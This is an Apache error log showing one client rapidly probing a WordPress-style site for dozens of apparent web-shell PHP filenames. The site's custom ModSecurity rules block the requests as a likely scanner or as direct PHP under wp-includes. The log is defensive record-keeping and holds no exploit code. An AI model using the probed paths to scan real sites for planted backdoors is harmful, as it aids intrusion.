[Sat Apr 25 22:27:16.394256 2026] [:error] [pid 59896:tid 59918] [client 20.203.160.110:9541] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/knw.php"] [unique_id "aezPRLLLzhtkd-OXUgALmAAAAFI"]
[Sat Apr 25 22:27:17.769269 2026] [:error] [pid 59896:tid 59913] [client 20.203.160.110:11520] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aezPRbLLzhtkd-OXUgALmQAAAE0"]
[Sat Apr 25 22:27:21.433497 2026] [:error] [pid 59896:tid 59915] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/fi.php
[Sat Apr 25 22:27:21.673099 2026] [:error] [pid 59896:tid 59920] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/jlex.php
[Sat Apr 25 22:27:21.912482 2026] [:error] [pid 59896:tid 59912] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-k7djufwez2.php
[Sat Apr 25 22:27:22.161733 2026] [:error] [pid 59896:tid 59919] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-tiroto.php
[Sat Apr 25 22:27:22.410436 2026] [:error] [pid 59896:tid 59911] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/son.php
[Sat Apr 25 22:27:22.661984 2026] [:error] [pid 59896:tid 59914] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/99.php
[Sat Apr 25 22:27:22.906509 2026] [:error] [pid 59896:tid 59922] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/bal.php
[Sat Apr 25 22:27:23.151773 2026] [:error] [pid 59896:tid 59910] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Sat Apr 25 22:27:23.389661 2026] [:error] [pid 59896:tid 59906] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/ay.php
[Sat Apr 25 22:27:23.630047 2026] [:error] [pid 59896:tid 59924] [client 20.203.160.110:15037] File does not exist: /usr/local/apache/htdocs/suspended-page/options.php
[Sat Apr 25 22:27:23.875691 2026] [:error] [pid 59896:tid 59908] [client 20.203.160.110:15037] [client 20.203.160.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "aezPS7LLzhtkd-OXUgALqQAAAEg"]
[Sat Apr 25 22:27:25.813467 2026] [:error] [pid 59896:tid 59913] [client 20.203.160.110:8988] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Sat Apr 25 22:27:26.048660 2026] [:error] [pid 59896:tid 59902] [client 20.203.160.110:8988] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1a.php"] [unique_id "aezPTrLLzhtkd-OXUgALrQAAAEI"]
[Sat Apr 25 22:27:28.215090 2026] [:error] [pid 59985:tid 59996] [client 20.203.160.110:24974] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1a.php"] [unique_id "aezPUAF_zDvEhKvyTH7DegAAAAk"]
[Sat Apr 25 22:27:33.401168 2026] [:error] [pid 59896:tid 59904] [client 20.203.160.110:14989] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1a.php"] [unique_id "aezPVbLLzhtkd-OXUgALtwAAAEQ"]
[Sat Apr 25 22:27:35.586033 2026] [:error] [pid 59896:tid 59905] [client 20.203.160.110:46512] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1a.php"] [unique_id "aezPV7LLzhtkd-OXUgALuwAAAEU"]
[Sat Apr 25 22:27:36.492473 2026] [:error] [pid 59896:tid 59902] [client 20.203.160.110:3598] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aezPWLLLzhtkd-OXUgALvgAAAEI"]
[Sat Apr 25 22:27:42.108976 2026] [:error] [pid 59896:tid 59906] [client 20.203.160.110:7551] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aezPXrLLzhtkd-OXUgALxgAAAEY"]
[Sat Apr 25 22:27:44.022269 2026] [:error] [pid 59896:tid 59900] [client 20.203.160.110:7497] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aezPYLLLzhtkd-OXUgALygAAAEA"]
[Sat Apr 25 22:27:47.455341 2026] [:error] [pid 59896:tid 59903] [client 20.203.160.110:19673] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rh.php"] [unique_id "aezPY7LLzhtkd-OXUgALzAAAAEM"]
[Sat Apr 25 22:27:49.085703 2026] [:error] [pid 59898:tid 59960] [client 20.203.160.110:46503] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-kikikoko.php"] [unique_id "aezPZR-4vImxb0kbdze3XAAAAMY"]
[Sat Apr 25 22:27:50.477471 2026] [:error] [pid 59897:tid 59930] [client 20.203.160.110:19700] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-kikikoko.php"] [unique_id "aezPZvBrrkdzpEbmK4eTFQAAAIM"]
[Sat Apr 25 22:27:52.580920 2026] [:error] [pid 59896:tid 59909] [client 20.203.160.110:3931] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-kikikoko.php"] [unique_id "aezPaLLLzhtkd-OXUgALzgAAAEk"]
[Sat Apr 25 22:27:53.424311 2026] [:error] [pid 59896:tid 59920] [client 20.203.160.110:32148] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file-kikikoko.php"] [unique_id "aezPabLLzhtkd-OXUgALzwAAAFQ"]
[Sat Apr 25 22:27:54.550840 2026] [:error] [pid 3212:tid 3220] [client 20.203.160.110:51222] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aezPavg-28TY8_YLtUdUyQAAAQY"]
[Sat Apr 25 22:27:57.076701 2026] [:error] [pid 59985:tid 60011] [client 20.203.160.110:15447] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aezPbQF_zDvEhKvyTH7DlwAAABg"]
[Sat Apr 25 22:27:58.623857 2026] [:error] [pid 59985:tid 59995] [client 20.203.160.110:32170] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aezPbgF_zDvEhKvyTH7DmQAAAAg"]
[Sat Apr 25 22:28:01.769636 2026] [:error] [pid 3212:tid 3215] [client 20.203.160.110:23149] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cu.php"] [unique_id "aezPcfg-28TY8_YLtUdUzQAAAQE"]
[Sat Apr 25 22:28:03.839284 2026] [:error] [pid 59897:tid 59948] [client 20.203.160.110:3834] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "aezPc_BrrkdzpEbmK4eTHAAAAJU"]
[Sat Apr 25 22:28:05.412154 2026] [:error] [pid 59896:tid 59916] [client 20.203.160.110:9561] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "aezPdbLLzhtkd-OXUgAL1AAAAFA"]
[Sat Apr 25 22:28:07.781467 2026] [:error] [pid 59897:tid 59936] [client 20.203.160.110:7308] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "aezPd_BrrkdzpEbmK4eTHgAAAIk"]
[Sat Apr 25 22:28:09.964921 2026] [:error] [pid 59897:tid 59951] [client 20.203.160.110:7325] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tramuibs.php"] [unique_id "aezPefBrrkdzpEbmK4eTIAAAAJg"]
[Sat Apr 25 22:28:12.267536 2026] [:error] [pid 59985:tid 59991] [client 20.203.160.110:22070] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "aezPfAF_zDvEhKvyTH7DqAAAAAQ"]
[Sat Apr 25 22:28:14.470562 2026] [:error] [pid 59985:tid 59999] [client 20.203.160.110:44546] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "aezPfgF_zDvEhKvyTH7DqgAAAAw"]
[Sat Apr 25 22:28:18.608776 2026] [:error] [pid 3212:tid 3218] [client 20.203.160.110:8219] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "aezPgvg-28TY8_YLtUdUzgAAAQQ"]
[Sat Apr 25 22:28:21.747863 2026] [:error] [pid 59897:tid 59948] [client 20.203.160.110:7313] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "aezPhfBrrkdzpEbmK4eTJQAAAJU"]
[Sat Apr 25 22:28:23.642763 2026] [:error] [pid 59898:tid 59975] [client 20.203.160.110:3815] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test1.php"] [unique_id "aezPhx-4vImxb0kbdze3agAAANU"]
[Sat Apr 25 22:28:29.092452 2026] [:error] [pid 59896:tid 59920] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/test1.php
[Sat Apr 25 22:28:29.334817 2026] [:error] [pid 59896:tid 59911] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/bpxrn.php
[Sat Apr 25 22:28:29.574992 2026] [:error] [pid 59896:tid 59921] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/a1.php
[Sat Apr 25 22:28:29.816389 2026] [:error] [pid 59896:tid 59919] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/ws37.php
[Sat Apr 25 22:28:30.078520 2026] [:error] [pid 59896:tid 59922] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/sky.php
[Sat Apr 25 22:28:30.317457 2026] [:error] [pid 59896:tid 59910] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/bojcdooq.php
[Sat Apr 25 22:28:30.558388 2026] [:error] [pid 59896:tid 59901] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/zdd.php
[Sat Apr 25 22:28:30.798987 2026] [:error] [pid 59896:tid 59907] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/133.php
[Sat Apr 25 22:28:31.040998 2026] [:error] [pid 59896:tid 59906] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/jq.php
[Sat Apr 25 22:28:31.283850 2026] [:error] [pid 59896:tid 59924] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/cro.php
[Sat Apr 25 22:28:31.525431 2026] [:error] [pid 59896:tid 59908] [client 20.203.160.110:31474] File does not exist: /usr/local/apache/htdocs/suspended-page/wwx.php
[Sat Apr 25 22:28:31.766706 2026] [:error] [pid 59896:tid 59914] [client 20.203.160.110:31474] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/trx24.php"] [unique_id "aezPj7LLzhtkd-OXUgAL5AAAAE4"]
[Sat Apr 25 22:28:33.625886 2026] [:error] [pid 3212:tid 3219] [client 20.203.160.110:8765] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/trx24.php"] [unique_id "aezPkfg-28TY8_YLtUdU1QAAAQU"]
[Sat Apr 25 22:28:36.178085 2026] [:error] [pid 59985:tid 60001] [client 20.203.160.110:8721] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/trx24.php"] [unique_id "aezPlAF_zDvEhKvyTH7DtwAAAA4"]
[Sat Apr 25 22:28:38.941914 2026] [:error] [pid 59985:tid 60011] [client 20.203.160.110:21172] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/trx24.php"] [unique_id "aezPlgF_zDvEhKvyTH7DuQAAABg"]
[Sat Apr 25 22:28:41.108173 2026] [:error] [pid 59985:tid 60008] [client 20.203.160.110:51916] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blox.php"] [unique_id "aezPmQF_zDvEhKvyTH7DuwAAABU"]
[Sat Apr 25 22:28:42.481313 2026] [:error] [pid 59898:tid 59973] [client 20.203.160.110:21150] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blox.php"] [unique_id "aezPmh-4vImxb0kbdze3cQAAANM"]
[Sat Apr 25 22:28:46.362909 2026] [:error] [pid 59898:tid 59970] [client 20.203.160.110:16978] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blox.php"] [unique_id "aezPnh-4vImxb0kbdze3cgAAANA"]
[Sat Apr 25 22:28:48.303895 2026] [:error] [pid 59897:tid 59944] [client 20.203.160.110:17014] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blox.php"] [unique_id "aezPoPBrrkdzpEbmK4eTTwAAAJE"]
[Sat Apr 25 22:28:51.467041 2026] [:error] [pid 59896:tid 59912] [client 20.203.160.110:17005] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/berax.php"] [unique_id "aezPo7LLzhtkd-OXUgAL8QAAAEw"]
[Sat Apr 25 22:28:54.083401 2026] [:error] [pid 59896:tid 59909] [client 20.203.160.110:16987] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/berax.php"] [unique_id "aezPprLLzhtkd-OXUgAL-gAAAEk"]
[Sat Apr 25 22:28:59.828142 2026] [:error] [pid 59985:tid 60003] [client 20.203.160.110:17664] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/berax.php"] [unique_id "aezPqwF_zDvEhKvyTH7DxgAAABA"]
[Sat Apr 25 22:29:01.056045 2026] [:error] [pid 3212:tid 3222] [client 20.203.160.110:42695] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/berax.php"] [unique_id "aezPrfg-28TY8_YLtUdVBAAAAQg"]
[Sat Apr 25 22:29:03.907559 2026] [:error] [pid 3212:tid 3236] [client 20.203.160.110:7558] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkxzo.php"] [unique_id "aezPr_g-28TY8_YLtUdVCQAAARY"]
[Sat Apr 25 22:29:09.098009 2026] [:error] [pid 59985:tid 59991] [client 20.203.160.110:9321] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkxzo.php"] [unique_id "aezPtQF_zDvEhKvyTH7DzAAAAAQ"]
[Sat Apr 25 22:29:10.454830 2026] [:error] [pid 3212:tid 3217] [client 20.203.160.110:7468] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkxzo.php"] [unique_id "aezPtvg-28TY8_YLtUdVDQAAAQM"]
[Sat Apr 25 22:29:13.479313 2026] [:error] [pid 59898:tid 59954] [client 20.203.160.110:8127] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bkxzo.php"] [unique_id "aezPuR-4vImxb0kbdze3fAAAAMA"]
[Sat Apr 25 22:29:17.930231 2026] [:error] [pid 59898:tid 59976] [client 20.203.160.110:7442] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "aezPvR-4vImxb0kbdze3hQAAANY"]
[Sat Apr 25 22:29:23.111398 2026] [:error] [pid 59985:tid 60004] [client 20.203.160.110:39383] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "aezPwwF_zDvEhKvyTH7D3QAAABE"]
[Sat Apr 25 22:29:24.880347 2026] [:error] [pid 59896:tid 59919] [client 20.203.160.110:39372] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "aezPxLLLzhtkd-OXUgAMGwAAAFM"]
[Sat Apr 25 22:29:26.257542 2026] [:error] [pid 3212:tid 3233] [client 20.203.160.110:8075] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cdxadmin.php"] [unique_id "aezPxvg-28TY8_YLtUdVFAAAARM"]
[Sat Apr 25 22:29:26.914419 2026] [:error] [pid 59896:tid 59900] [client 20.203.160.110:7456] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dfre.php"] [unique_id "aezPxrLLzhtkd-OXUgAMIAAAAEA"]
